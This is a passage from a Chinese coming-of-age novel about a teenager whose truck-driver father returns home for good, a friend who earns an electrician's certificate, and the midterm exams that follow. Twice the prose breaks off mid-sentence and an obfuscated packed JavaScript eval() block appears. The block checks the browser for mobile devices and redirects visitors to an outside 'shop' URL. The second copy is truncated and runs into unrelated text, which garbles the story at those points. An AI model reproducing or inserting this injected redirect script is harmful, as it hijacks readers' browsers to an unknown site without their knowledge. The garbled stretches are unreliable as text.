“这次回来就不走了。”妈妈的声音很平静,但李小四听出了那平静底下藏着的笑意,“他说不跑长途了,在县城找个活儿干。钱少点就少点,一家人在一起最重要。” 李小四握着筷子的手停了一下。他想起爸爸上次回来时说的那些话,想起爸爸站在门口,手里拎着那个大编织袋,眼角的皱纹像刀刻的一样。他想爸爸回来,想一家人坐在一张桌子上吃饭,想爸爸不用再一个人在服务区过夜,不用再吃泡面当晚饭。 “真的?”他问。 “真的。”妈妈说,“你爸说,你上高中了,他不能再缺席了。” 李小四低下头,扒了一大口饭,把那句“我想他了”和着米饭一起咽了下去。 晚上,他写完作业,躺在床上,给大壮发了一条消息。 “大壮,我爸要回来了。以后不跑长途了。” 大壮很快回了一条语音:“那太好了!你爸能回来,你妈就不用一个人那么累了。一家人在一起多好。” “你爸妈呢?你妈工作怎么样了?” 大壮沉默了一会儿,才回:“我妈厂里没裁她,但降了工资。我爸腿还是那样,走路走不快,但在小区看大门还行,不累。我夜校下个月考试,考过了就能拿初级电工证。等我拿了证,换个好点的工作,我们家就好了。” 李小四听完这条语音,觉得喉咙有点紧。 “大壮,你一定会考过的。”他发了这条消息,觉得不够,又加了一句,“等你考过了,我回去请你吃烤肠。” “一根不够,要两根。” “行,两根。” “再加一瓶可乐。” “行,可乐也加。” 大壮发了一个大笑的表情,然后说:“不聊了,明天还要早起。你早点睡。” “你也是。” 李小四放下手机,关了灯。窗外有虫鸣,秋天的虫鸣比夏天轻多了,细细密密的,像针尖落在丝绸上。风从窗户的缝隙里钻进来,带着夜晚的凉意。 他闭上眼睛,在黑暗里想着爸爸回来的样子。想着那张餐桌终于有三个人了,想着客厅的电视终于有人一起看了,想着周末的早晨终于不用一个人吃早饭了。 想着想着,他就睡着了。 24. 爸爸回来了 十月的最后一周,天气忽然就凉了。 前一天还穿着短袖在操场上打球,第二天早上推开窗户,一股冷风扑面而来,灌进领口,凉得李小四打了个哆嗦。他缩了缩脖子,把窗户关上,从衣柜里翻出一件长袖的卫衣套上。卫衣是去年买的,深灰色的,胸前印着一行英文字母,他到现在也不知道那行英文是什么意思。袖子有点短了,手腕露出一小截,但他懒得换,反正外面还要穿校服,看不出来。 出门的时候,妈妈叫住了他。 “小四,你爸今天下午到家。” 李小四正在系鞋带,闻言抬起头:“不是说下个月吗?” “提前了。他说那边的事处理完了,今天就回来。”妈妈的声音很平静,但她的动作出卖了她——她正在擦桌子,擦完一遍又擦了一遍,其实那张桌子已经很干净了。 “几点的车?” “说是下午三点多到县城车站。” “那我放学去接他。” “不用,你好好上课。他去过车站,认识路。”妈妈把抹布叠好,放在水池边上,转过身看着他,“你把书读好就行了。” 李小四想说“我去接他吧”,但他看到妈妈的眼睛里有那种“我已经决定了”的光,就没有再说了。他背上书包,穿上鞋,走到门口的时候回过头,看到妈妈站在厨房门口,手里拿着一块抹布,看着窗外,不知道在想什么。 他忽然觉得,妈妈等这一天,等了很久了。 下午最后一节课是化学。李小四坐在座位上,心思却不在化学方程式上。他看着窗外,天阴沉沉的,云压得很低,像是要下雨的样子。十月的雨不像夏天那样来得猛烈,而是细细密密的,不紧不慢地下,能下好几天。他想着爸爸这会儿应该已经到车站了,可能正在出站口张望,可能正在给妈妈打电话,可能已经坐上了回家的公交车。 他不知道爸爸这次回来会变成什么样子。上次见爸爸还是八月底,那时候爸爸刚从外地回来,给他带了一块电子表。爸爸比以前瘦了,也黑了,眼角的皱纹多了好几道,笑起来的时候那些皱纹挤在一起,像核桃壳上的纹路。他记得爸爸站在门口,手里拎着那个大编织袋,笑着说“小四,爸回来了”。那个笑容很大,很亮,但底下藏着的疲惫,他看得见。 “李小四。”化学老师忽然叫了他的名字。 他猛地回过神,站起来。 “配平这个方程式。” 他看着黑板上的化学方程式,脑子一片空白。他刚才根本没听课,不知道老师讲到哪里了。教室里安静了几秒钟,有人在小声笑。林小美在草稿纸上写了几个字,悄悄推过来。他低头一看,上面写着一行配平好的方程式,字迹很小,但很清楚。 他照着念了出来。 “对了。坐下吧,上课不要走神。” 他坐下,长长地呼出一口气。林小美没有看他,低头在笔记本上写着什么,但她的嘴角微微弯了一下,那个弧度很小,小到几乎看不出来。 放学的时候,雨已经下起来了。 不是很大,但很密,打在脸上凉丝丝的。李小四没有带伞,把校服外套的帽子扣在头上,快步走向停车场。电动车的车座上全是水,他用袖子擦了擦,坐上去,拧了一下油门。轮胎在湿滑的路面上打了一下滑,他赶紧用脚撑住,等稳了才慢慢开出去。 路上车不多,雨刮器在他眼前一下一下地摆,把挡风玻璃上的雨水刮掉,又刮掉。他开得不快,雨水打在脸上,顺着脸颊往下流,有些流进了脖子里,凉得他缩了好几次脖子。他想快一点到家,想早点看到爸爸,但又不敢开太快,路滑,怕摔了。 到家的时候,他看到楼下的车棚里多了一辆黑色的电动车。不是新的,车身上有几道划痕,后视镜少了一个,用一根铁丝绑着一个小圆镜。车座上没有雨水,是干的——说明它停进来已经有一阵子了。 他的心跳快了一下。 锁好车,跑上楼,在门口站了几秒钟,深吸一口气,然后掏出钥匙开门。 门开了。 屋里飘着一股饭菜的香味,比平时浓了很多。厨房里的灯亮着,油烟机嗡嗡地响,有人在炒菜,锅铲碰到铁锅的声音叮叮当当的。客厅的沙发上放着一个大编织袋,鼓鼓囊囊的,跟暑假那次回来时拎着的一模一样。编织袋旁边放着一个黑色的行李包,拉链没拉严实,露出一角叠好的衣服。 厨房的门开了,一个人端着菜走出来。 那个人穿着一件深蓝色的夹克,头发比以前短了,鬓角有些发白。他瘦了,但精神看起来不错,眼睛里有光。他端着盘子走到餐桌前,放下,抬起头,看到了站在门口的李小四。 “回来了?”爸爸的声音有点哑,但带着笑意。 “爸。”李小四叫了一声,声音比自己预想的要小。 “洗手吃饭,你妈做了好多菜。” 李小四换了鞋,去卫生间洗了手。他对着镜子看了一眼自己,头发被雨水打湿了,贴在额头上,脸被风吹得有点红。他用毛巾擦了擦脸,又把头发往后捋了捋,对着镜子笑了一下,觉得自己看起来不那么狼狈了,才走出去。 餐桌上摆了五个菜,满满当当的,桌子都快放不下了。红烧排骨、清蒸鲈鱼、蒜蓉西兰花、青椒炒蛋、凉拌黄瓜,还有一个番茄蛋花汤,放在桌子正中间,冒着热气。妈妈还在厨房里忙活,端着一碗米饭走出来,放在爸爸面前,又进去端了一碗,放在李小四面前,最后一碗是自己的。 三个人坐下来了。 这是今年第一次,一家三口坐在一起吃晚饭。不是过年,不是过节,就是一个普通的、下着小雨的星期四。 “吃吧,趁热吃。”妈妈拿起筷子,先给爸爸夹了一块排骨,又给李小四夹了一块。 李小四低下头,扒了一口饭,又扒了一口。排骨很香,炖得很烂,骨头和肉轻轻一碰就分开了。他嚼着排骨,偷偷看了一眼爸爸。爸爸也在吃,吃得不快,每一口都嚼很久,好像在慢慢品尝这个味道。 “爸,你这次回来,真的不走了?”李小四问。 “不走了。”爸爸说,“跑不动了,也该歇歇了。” “那你在县城找什么工作?” “还没定。先看看,不急。”爸爸喝了一口汤,“你好好学习,爸的事你不用操心。” 李小四想说“我不是操心,我就是想知道”,但他没有说。他知道爸爸不想让他操心这些事,爸爸觉得读书才是他该做的事,其他的都是大人的事,跟他无关。但他已经不是小孩子了,他十六岁了,他知道爸爸回来意味着什么——意味着他们家的收入会减少,意味着妈妈不用再一个人扛着所有的事,意味着他每天晚上回家,家里不再只有一盏亮着的灯和一碗保温的饭,而是有三个人,三双筷子,三个碗。 “多吃点,”妈妈又给他夹了一块排骨,“你最近又瘦了。” “我没瘦,我长个子了。” “长个子和长肉不矛盾。” 李小四笑了,低头继续吃。 吃完饭,李小四帮妈妈收拾了碗筷,洗了碗,擦干净灶台。爸爸坐在客厅里看电视,声音开得很小,他靠在沙发上,看起来有些疲惫。李小四从厨房出来的时候,看到爸爸的眼睛半闭着,好像快要睡着了。 “爸,你去床上睡吧。” 爸爸睁开眼睛,摇了摇头:“不睡,一会儿就精神了。你去做作业吧,别管我。” 李小四回到房间,打开台灯,坐在书桌前。他拿出物理卷子,想继续做那道下午没做出来的题,但脑子里全是爸爸的影子。他想起小时候爸爸还在县城上班的那些日子,每天傍晚带他下楼看晚霞,指着天边说“你看那朵云像不像一匹马”,他就说“不像,像一头大象”。两个人站在楼下,争论那朵云到底像什么,直到天黑。那些日子已经很久远了,远得像另一个人的记忆。 他做了两道物理题,又背了一会儿英语单词,心思一直定不下来。他看了看时间,九点多了,站起来,走到客厅。爸爸已经躺在沙发上睡着了,电视还开着,画面一闪一闪的,无声地照着客厅。妈妈从卧室里拿了一条毯子出来,轻轻盖在爸爸身上。 “他太累了。”妈妈说,声音很轻,像是怕吵醒他。 李小四站在客厅门口,看着爸爸睡着的样子。他的眉头是舒展开的,不像醒着的时候那样微微皱着。他的呼吸很沉,胸膛一起一伏的,像一台慢慢运转的机器。他的手上全是茧,指甲缝里还有洗不掉的油污,那是修车的时候留下的。他的脚上的鞋子脱了一半,露出里面的袜子,袜子的后跟磨得很薄了,几乎要破了。 “妈,爸以前在工地上干活的时候,也这么累吗?” 妈妈沉默了一会儿:“比现在更累。” 李小四没有继续问。他怕自己再问下去,会哭。 他回到房间,把门关上,坐在书桌前,开始认真地做物理题。他做得很慢,每一道题都反复看好几遍,确保自己真的懂了才往下做。做到第三道大题的时候,他忽然发现自己会做了——那道题跟月考的一道题很像,只是换了数字和条件。他把题目里的已知条件列出来,画了一个草图,一步一步地推导,写了整整半页纸,最后算出了一个答案。 他不知道答案对不对,但他知道,他用了自己的脑子,自己的手,自己的努力。 这就够了。 第二天早上,李小四起床的时候,爸爸已经不在家了。 “你爸去找工作了,”妈妈说,“说去开发区看看,那边有几个工厂在招人。” “这么快?” “他闲不住。” 李小四吃完早饭,背上书包出了门。雨已经停了,但天还是阴的,路上湿漉漉的,空气里有泥土的味道和雨水洗过的清新。他骑电动车到学校,在校门口遇到了林小美。她今天穿了一件淡粉色的外套,头发没有扎马尾,散着,被风吹得有些乱。她看到李小四,微微点了点头,算是在打招呼。 “你爸回来了?”她问。 “你怎么知道?” “你昨天说的。” 李小四想了一下,昨天好像确实在课间跟她说了一句“我爸今天下午到家”。他没想到她会记得。 “回来了。昨天晚上一起吃的饭。” “高兴吗?” “高兴。”李小四说,“我妈也高兴。” 林小美没有继续问,推着自行车进了校门。李小四跟在她后面,看着她推车的背影。她的书包还是那个深蓝色的帆布书包,边角的毛边更明显了,有些地方已经磨出了白色的经纬线。她的淡粉色外套在晨风里轻轻摆动,像一面小小的旗帜。 他忽然想跟她说“谢谢”。不是谢谢她记得爸爸回来的事,而是谢谢她问了那一句“高兴吗”。那一句“高兴吗”里有一种东西,不是好奇,不是关心,而是更简单的——她想知道他开不开心。这种“想知道”很轻,轻得像一根羽毛,但落在他心里,却有了重量。 上午第一节课是数学。王老师讲了函数的概念——函数的定义、定义域、值域、对应法则。他在黑板上写了几个例子,又出了几道题让学生做。李小四做得不快,但每一道都认真做了,做完之后还检查了一遍。王老师走到他座位旁边,看了一眼他的答案,没有说对,也没有说错,只是点了点头,然后走了。 那个点头让李小四高兴了一整天。 中午,李小四在食堂吃饭的时候,收到了大壮发来的消息。是一张照片,拍的是一个证书,红色的封皮,上面印着“初级电工职业资格证书”几个烫金字。证书打开着,里面贴着大壮的照片,照片上的大壮穿着工装,头发剃得很短,表情有点严肃,跟平时嘻嘻哈哈的样子完全不一样。 “小四,我考过了!” 大壮发完照片,又发了一条语音。李小四点开,大壮的声音从手机里传出来,带着压抑不住的兴奋:“电工证!我拿到了!我跟你说,理论考试我考了八十二分,实操考试八十九分,老师说我接线接得又快又准。我现在是持证电工了!” 李小四盯着那张照片看了很久,眼眶有点热。他想起了大壮在信里写的那些话——“读完初三我就不读了,找个工作,帮家里挣点钱”。那时候他以为大壮的人生就这样了,初中毕业,进厂打工,一辈子在流水线上重复同一个动作。但大壮没有认命。他在工地上搬砖的时候想的是“我不能一辈子这样”,他在厂里打工的时候想的是“我要学一门技术”,他在夜校上课的时候,对着电路图皱眉头,一遍看不懂就看两遍,两遍看不懂就看三遍,直到看懂为止。 这不就是他三年前做过的事吗?从38分开始,一步一步地走,走到98分。大壮也在走,从看不懂电路图,走到拿到电工证。他们走的不是同一条路,但他们走路的姿势是一样的——低着头,咬着牙,一步一步地,不回头。 “大壮,你太厉害了。”他发了这条消息,觉得不够,又加了一句,“等我回去,请你吃烤肠,两根,加可乐。” “加冰!” “加冰。” 大壮发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444074|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个大笑的表情,然后说:“你好好学习,等你考上大学了,我请你吃大餐。” “什么大餐?” “你想吃什么就吃什么。” 李小四笑了,把手机收进口袋里,继续吃饭。饭已经有点凉了,但他吃得很香。他想,大壮拿到电工证了,爸爸回来了,妈妈脸上的笑容多了,林小美今天穿了一件淡粉色的外套,王老师对他点了点头——这些事单独看,每一件都很小,但加在一起,就是一个很好的日子。 下午最后一节课是体育课。刘老师让大家跑了两圈热身,然后自由活动。李小四跟刘洋他们打了半场篮球,出了一身汗。打完球他坐在操场边的草地上喝水,看着天空发呆。天还是阴的,但云层比早上薄了一些,有些地方透出了淡淡的蓝色。风从远处吹来,带着操场边那排银杏树的气息——那些叶子已经开始黄了,有些已经落下来了,铺在跑道上,被风吹得到处都是。 陈屿白不知道什么时候走到了他旁边,也在草地上坐了下来。他没有穿运动服,还是那件黑色的长袖T恤,帽子扣在头上,遮住了大半张脸。 “你不打球?”李小四问。 “不打。”陈屿白说。 “那你来操场干嘛?” “透气。” 李小四没有继续问。他仰头看着天空,陈屿白也仰头看着天空。两个人就那么坐着,谁都没有说话。操场上有人在跑步,有人在踢球,有人在散步聊天,那些声音从远处传过来,模模糊糊的,像隔了一层什么东西。 “你月考物理考了多少?”陈屿白忽然问。 “七十八。你呢?” “八十一。” “那你比我强。” “强不了多少。”陈屿白从口袋里掏出一颗糖,剥开糖纸,塞进嘴里,“物理好难。” 李小四转过头看着他。陈屿白说“物理好难”的时候,语气跟平时不一样,不是那种“我不在乎”的冷淡,而是真实的、不加掩饰的“难”。这是陈屿白第一次在他面前说这种话,不是抱怨,不是诉苦,只是一个普通的、学习不太好的人在承认自己遇到了困难。 “我也觉得难,”李小四说,“但难也要学。” 陈屿白嚼着糖,没有说话。过了一会儿,他站起来,拍了拍裤子上的草屑,走了。走了几步又停下来,回过头,说了一句让李小四意外的话:“你下次物理不懂的可以问我。我可能也答不上来,但我们可以一起想。” 说完他就走了,帽子在风里晃了晃,黑色的T恤被风吹得贴在了身上,露出他瘦削的轮廓。 李小四坐在草地上,看着他走远的背影,心里涌起一种说不清的感觉。不是感动,是一种更淡的、更安静的东西——像冬天里喝了一口温水,不烫,但暖。 下午放学的时候,雨又下起来了。 比昨天小,细细的,像雾一样,飘在空气里,落在脸上几乎感觉不到。李小四没有戴帽子,也没有穿雨衣,就那么骑着电动车回家了。雨丝打在他脸上,凉凉的,痒痒的,像有人用手指在他脸上轻轻地点。 到家的时候,爸爸已经回来了。 他坐在客厅的沙发上,手里拿着一份报纸,正在看招聘信息。他看得很认真,每一行都看,有时候停下来想一想,然后用笔在报纸上画一个圈。看到李小四进门,他抬起头,摘下老花镜——李小四第一次看到他戴老花镜,以前从来没注意过,也许他以前不戴,也许是他不想让家里人看到他戴老花镜的样子。 “回来了?”爸爸的声音跟昨天一样,有点哑,但带着笑意。 “嗯。爸,你找到工作了吗?” “看了几个,明天去面试。”爸爸把报纸折好,放在茶几上,“开发区有个汽修厂,招机修工,我以前干过这个,应该没问题。” 李小四在爸爸旁边坐下来,犹豫了一下,问了一个他一直想问的问题:“爸,你后悔吗?” “后悔什么?” “后悔……以前一直在外面跑。没在家待着。” 爸爸沉默了一会儿,把老花镜放在茶几上,靠在沙发上,看着天花板。日光灯的光照在他脸上,把他的皱纹照得很清楚——额头上三道,眼角好几道,嘴角两道,每一条都是时间刻上去的,每一条都有一段故事。 “后悔过。”爸爸说,声音很轻,像是在跟自己说话,“你小时候,我错过了很多。你第一次走路,我没看到。你第一次叫爸,我没听到。你上小学第一天,我没送你。你期中考试考了第一名,我没给你鼓掌。”他停了一下,吸了一口气,“但这些都过去了,后悔也没有用。我现在能做的,就是以后不错过了。” 李小四的鼻子酸了。他低下头,看着自己的手,手指在膝盖上无意识地画着圈。 “爸,你以后不会再错过了。”他说,声音有点抖,“我还在。” 爸爸伸出手,摸了摸他的头。那只手很粗糙,手指粗壮,指甲缝里还有洗不掉的油污。但那只手很温暖,比任何柔软的手都温暖。 “我知道。”爸爸说,“所以爸回来了。” 那天晚上,李小四做作业做到很晚。他把物理卷子做完了,把英语单词背了二十个新的、复习了二十个旧的,把数学错题整理了一遍,把语文文言文的重点字词抄在了笔记本上。做完这些,已经快十一点了。他伸了个懒腰,站起来,走到客厅倒水。 客厅的灯已经关了,只有电视还亮着,声音开得很小,在播一部老电视剧。爸爸躺在沙发上,盖着毯子,已经睡着了。妈妈从卧室里走出来,手里拿着一杯水,看到李小四,把水递给他。 “你爸今天去面试了,”妈妈说,“汽修厂要他。下周一上班。” “这么快?” “他技术好,以前干过几年,人家一听说就让他明天去试工。” 李小四喝了一口水,水是温的,不烫也不凉。 “妈,爸回来了,你高兴吗?” 妈妈愣了一下,然后笑了。那个笑容跟平时不一样,不是那种“我没事”的坚强笑容,而是真正的、从心底里溢出来的笑。她的眼角有细纹,但那些细纹在这个笑容里不是衰老的痕迹,而是岁月的礼物。 “高兴。”妈妈说,“妈等你爸回来,等了很久了。” 李小四看着妈妈的笑容,忽然觉得,这个家终于完整了。不是少一个人的完整,而是三个人都在的完整。他在,妈妈在,爸爸也在。三个人,三双筷子,三个碗,在同一盏灯下,吃同一桌饭。 这就是他想要的全部。 25. 期中考试 十一月来了,带着一阵一阵的冷风。 县城的秋天很短,短到银杏叶还没黄透就开始落了,短到桂花还没谢完就被雨打散了,短到李小四还没来得及把夏天的衣服收起来,就得翻箱倒柜地找冬天的校服了。冬天的校服比夏天的厚很多,深蓝色的,里面有一层薄薄的绒,穿在身上臃肿得像一只企鹅。李小四不太喜欢穿,但不穿不行,早上的风已经不是凉了,是冷,冷到骨头里的那种。 爸爸去汽修厂上班了。 每天早上七点出门,比李小四还早。他骑那辆黑色的旧电动车,穿着汽修厂发的工作服,深灰色的,胸口印着厂名。他出门的时候天还没大亮,李小四有时候能听到门关上的声音,有时候听不到——如果他前一晚做题做得太晚,早上就睡得很沉,连闹钟都听不见。但他出门前总会做一件事:在李小四的书桌上放一杯温水。水是头天晚上烧好的,装在保温杯里,早上倒出来的时候还是温的,不烫也不凉,刚好能一口气喝完。 李小四第一次发现这杯水的时候愣了一下。他不记得自己什么时候跟爸爸说过他早上喜欢喝温水,也许没说过,也许爸爸只是觉得温水比凉水好。他端起杯子喝了一口,水从喉咙一路暖到胃里,像一只手在轻轻地揉。 他端着那杯水,站在书桌前,看着窗外灰蒙蒙的天。远处有鸡叫,不知道谁家养的,断断续续的,像是在跟黎明打招呼。他把水喝完,放下杯子,开始穿衣服。 今天是十一月十号,期中考试的第一天。 期中考试比月考正式得多。考场按上次月考的成绩排的,李小四被分到了第二考场。第一考场是年级前三十名,第二考场是三十一到六十名,以此类推。林小美在第一考场,他在第二考场,两个人的考场不在同一层楼,甚至不在同一栋楼。 “紧张吗?”他在进考场前给林小美发了一条消息。 “不紧张。”林小美回。 “你在第一考场,我在第二考场。” “我知道。” “那我考完了去找你。” “好。” 李小四把手机调成静音,塞进口袋里,走进了考场。第二考场在教学楼二层的一间教室里,桌椅比他们班的旧一些,桌面上有刻痕,有人刻了字,有人画了画,还有人用圆珠笔写了一句“考试必过”,字迹已经模糊了,不知道是哪一届的学长留下的。他找到自己的座位,靠窗第三排,阳光从窗户照进来,落在他的桌角上,照出一个明亮的光斑。 他把笔袋和准考证放在桌上,坐下来,深呼吸。心跳不快,也不慢,刚好在一个让他觉得舒服的频率上。他想,也许是因为这一个月他确实努力了——每天二十个单词,每周两套物理卷子,周末去奶茶店跟林小美一起做题。这些努力不一定能换来高分,但至少能换来一种东西,叫“底气”。 第一场是语文。 试卷发下来的时候,他先翻到后面看了看作文题目。作文题目是“温度”。两个字,没有更多的说明。他想了一会儿,脑子里冒出来的第一个画面是爸爸放在书桌上的那杯温水。透明的杯子,温热的水,水汽从杯口升起来,在晨光里像一层薄薄的雾。他想到那个画面的时候,心里就踏实了。 他翻回第一页,开始答题。 基础知识部分做得不慢,古诗词默写都是他背过的,《登高》里的“无边落木萧萧下,不尽长江滚滚来”,《琵琶行》里的“同是天涯沦落人,相逢何必曾相识”,写的时候笔尖在纸上流畅地滑过,没有卡顿。文言文阅读是《师说》的节选,韩愈写的,他在暑假的时候读过好几遍,大意都记得,题目做起来不算难。阅读理解是一篇小说,讲的是一个老人和一棵树的故事,文字朴实,情感克制,题目也不刁钻。 做完这些,他看了一眼时间,还剩五十分钟。 他翻到作文页面,在草稿纸上写下了题目:“温度”。然后他提起笔,开始写。 “温度不只是温度计上的数字,也不只是天气预报里说的‘今天最高气温多少度’。温度是能感觉到的,是能记住的,是能让人在很久以后想起来还觉得心里一暖的东西。” 他写了爸爸的那杯温水。写他每天早上醒来,看到书桌上那杯水,端起来喝一口,不烫不凉,刚刚好。写他不知道爸爸几点起的床,不知道爸爸在厨房里站了多久才把那杯水的温度调到刚好,不知道爸爸出门的时候有没有回头看一眼他的房门。 “那杯水会凉,但那份温度不会。它留在我心里,不管过了多久,只要我想起来,它还是温的。” 他写了妈妈在超市站了一整天之后,回到家还要给他做饭的样子。写妈妈把饭菜端上桌,坐在对面看着他吃,自己却不动筷子。写他问妈妈“你怎么不吃”,妈妈说“我不饿”,但他知道她不是不饿,是舍不得。 “妈妈的手是凉的,但她端出来的饭是热的。她把所有的温度都给了饭菜,给了这个家,给了我和爸爸。” 他写了林小美给他的那些橘子。每一个橘子都是甜的,没有一个是酸的。他不知道林小美是在哪里买的橘子,也不知道她是怎么挑的,但每一个橘子都是甜的。这不像巧合,像是一种选择——她选择了把最好的给他。 “有些温度是看得见的,比如那杯水、那碗饭、那个橘子。有些温度是看不见的,比如有人记得你喜欢什么,有人在你需要的时候出现在你身边,有人什么都不说,但你知道她在。” 他写了最后一段: “温度是会传递的。爸爸把温度传给了水,妈妈把温度传给了饭,林小美把温度传给了橘子。有一天,我也想成为那种能传递温度的人。不需要做什么大事,不需要说很多话,只需要在有人需要的时候,给他一杯温水,一碗热饭,一个甜的橘子。” “这就是温度。不是烫的,不是凉的,是刚刚好的那种。” 写完之后,他放下笔,从头到尾读了一遍。读到“那杯水会凉,但那份温度不会”的时候,他的眼眶热了一下。不是难过,是一种说不清的触动——他写的每一个字都是真的,每一句话都是他心里的话。他没有编造任何东西,没有为了感动阅卷老师而夸大任何情感。他只是把自己感受到的温度写了下来,用最朴素的语言。 他检查了一遍卷面,把几处涂改的地方修整了一下,然后交了卷。 走出考场的时候,阳光正好。十一点钟的太阳挂在东南方向,不烈,但很亮,照在教学楼的白色墙面上,反射出一片耀眼的光。他站在走廊上,深深地吸了一口气,空气里有桂花的余香,很淡,要很用力才能闻到。 他掏出手机,给林小美发了一条消息:“考完了。你在哪?” 过了几分钟,林小美回:“在第一考场外面。你过来吧。” 李小四穿过操场,走到第一考场所在的那栋楼。林小美站在楼下的花坛边,手里拿着一个透明文件袋,正在看手机。她今天穿了一件深蓝色的毛衣,头发扎成低马尾,脖子上围着一条灰色的围巾,围巾很长,在胸前绕了一圈又绕了一圈,还是拖出来一截,在风里轻轻晃。 “作文写的什么?”林小美问。 “温度。你呢?” “也是温度。” “你写的什么内容?” 林小美想了想:“写了我奶奶。她的手很粗糙,手指伸不直,但她缝的衣服针脚很细。她把所有的温度都缝进了针脚里。” 李小四没有说话。他想象林小美的奶奶坐在窗前,戴着老花镜,手里拿着针线,一针一针地缝。老人的手一定是抖的,但针脚是细的。那份温度不是热烈的,是绵长的,像一条细细的线,从过去一直缝到现在,缝到林小美身上那件毛衣的每一针里。 “你奶奶的手为什么会伸不直?”他问。 “类风湿。”林小美说,“好多年了。手指关节变形了,伸不直也握不拢,但她还是坚持做针线活。她说手伸不直没关系,心直就行。” 李小四把这句话记在了心里。“手伸不直没关系,心直就行。”他想,这句话真好,好到他觉得应该写下来,贴在墙上,每天看一遍。 下午考物理和化学。 物理比月考的时候难了一些,选择题有好几道他拿不准,填空题有一道完全不会——问的是力和加速度的关系,他记得牛顿第二定律F=ma,但题目给的不是力,是质量和速度,他不知道怎么把速度转换成加速度。他想了很久,最后放弃了,在题号前面画了一个圈,打算有时间再回来看。 大题他一道一道地做,能写多少写多少。有一道关于匀变速直线运动的题目,他算了三遍,每一遍答案都不一样。他选了第二遍的答案,因为那个答案看起来最合理——虽然他不知道“看起来合理”这个标准到底靠不靠谱。 化学比物理简单一些。物质的量浓度、溶液配制、实验基本操作,这些他复习过好几遍,做起来还算顺手。最后一道实验题是关于粗盐提纯的,步骤很多,他一项一项地写,写了七八步,不知道全不全,但他把所有能想到的都写上了。 考完化学的时候,天已经快黑了。十一月的天黑得早,五点多钟太阳就落山了,六点钟的时候天边只剩一抹暗红色的余晖。李小四站在考场外面的走廊上,看着天边那抹红色一点一点地暗下去,像有人用一块橡皮在慢慢地擦。 手机震了一下。是林小美发来的消息:“明天考数学和英语。数学你没问题,英语你注意阅读。” “知道了。”他回。 “今晚早点睡,别看太晚。” “你也是。” 他骑着电动车回家。路两旁的梧桐树叶子已经黄了大半,风一吹就哗啦啦地掉,落在他的肩膀上,落在车筐里,落在路上,被车轮碾过,发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李小四看着爸爸的侧脸。他的鬓角白了很多,额头上有一道新的伤疤,不大,在眉毛上方,像一条短短的蚯蚓。他不知道那道伤疤是怎么来的,也许是修车的时候碰的,也许是在工地上弄的,也许是在外地出车的时候出了什么小事故。他没有问,因为他知道,就算他问了,爸爸也会说“没事,小伤”。 “爸,我帮你学。”李小四说。 爸爸愣了一下,转过头看着他。 “你不是说电路图看不懂吗?我物理刚学了这个,电流、电压、电阻、串联并联,我帮你看看。” 爸爸的嘴角动了一下,那个弧度不大,但李小四看得出来,那是笑。 “行,”爸爸说,“你帮爸看看。” 李小四拿起那本汽修书,翻到电路图那一页,仔细地看。那些符号跟物理课本上的不太一样,但原理是相通的。电流从正极出来,经过开关、保险丝、继电器,回到负极。他用笔在图上画了一条线,顺着电流的方向,从电池的正极一直画到负极。 “爸,你看,电流是这样走的。” 爸爸凑过来看,看得很认真,眼睛眯成一条缝。他看了好一会儿,点了点头:“原来是这样。我以前都是凭经验修,坏了就换,换到好为止。现在知道电流怎么走了,就知道哪里可能坏了。” 李小四觉得爸爸说的这句话,跟物理老师说的“物理是理解这个世界是怎么运作的”是一个意思。不懂原理的时候,只能瞎猜,猜对了算运气,猜错了浪费时间。懂了原理,就有了方向,知道该往哪里走,不该往哪里走。 他给爸爸讲了十几分钟的电路图,讲了他学过的那些东西——串联电路电流处处相等,并联电路各支路电压相等,欧姆定律U=IR。爸爸听得很认真,不时问一句“这个I是什么意思”“这个R怎么算”。他回答了,有些答得上来,有些答不上来——他毕竟才学了两个月,很多东西自己也是一知半解。 “没事,”爸爸说,“慢慢来。你也刚开始学,不急。” 李小四把书还给爸爸,站起来,去厨房帮妈妈端菜。妈妈正在炒最后一个菜,青椒炒肉丝,油烟机嗡嗡地响,香味飘得满屋都是。她看到李小四进来,笑了一下:“去坐着,马上就好。” “我帮您端。” 他端了两盘菜出去,又回来拿碗筷。一家人坐在一起吃饭,爸爸在说他今天在汽修厂的事,妈妈在说她超市里的事,李小四在说期中考试的事。三个人各说各的,谁也不打断谁,有时候一个人说完了,另一个人接上去,话题转得很自然,像一条河在流,遇到石头就绕一下,绕过去了继续流。 李小四吃着饭,听着爸爸妈妈说话,觉得这个场景很普通,普通到每天都在发生。但正是这种普通,让他觉得安心。不是那种“终于实现了什么大目标”的安心,而是那种“什么都不用担心,因为家人都在”的安心。 他想,这大概也是一种温度。 不是烫的,不是凉的,是刚刚好的那种。 26. 成绩与选择 期中考试的成绩是在考完后的第四天公布的。 那几天的等待比考试本身更折磨人。李小四每天早上到教室的第一件事就是看公告栏,看沈老师有没有贴出新的通知。公告栏上贴的东西越来越多——卫生值日表、眼保健操评分、校刊征稿启事、冬季长跑通知——但就是没有成绩单。 “成绩有那么难算吗?”他趴在桌上,看着公告栏发呆。 林小美正在整理笔记,闻言头也没抬:“九门课,每门课五十多份试卷,每份试卷要批改、登分、核分、汇总、排名。你算算要多久。” 李小四算了算,觉得自己的脑子不够用,就没有再算了。 等待的日子里,他能做的事情只有一件——继续学。不管考得好不好,日子都要过,课都要上,作业都要做。他每天早上还是六点十分起床,背二十分钟英语单词,中午还是只睡十五分钟,晚上还是做题做到十点半。爸爸的那杯温水每天早上准时出现在书桌上,他端起杯子喝一口,不烫不凉,刚刚好,然后就出门上学。 周四上午,第二节课后,沈老师拿着成绩单走进了教室。 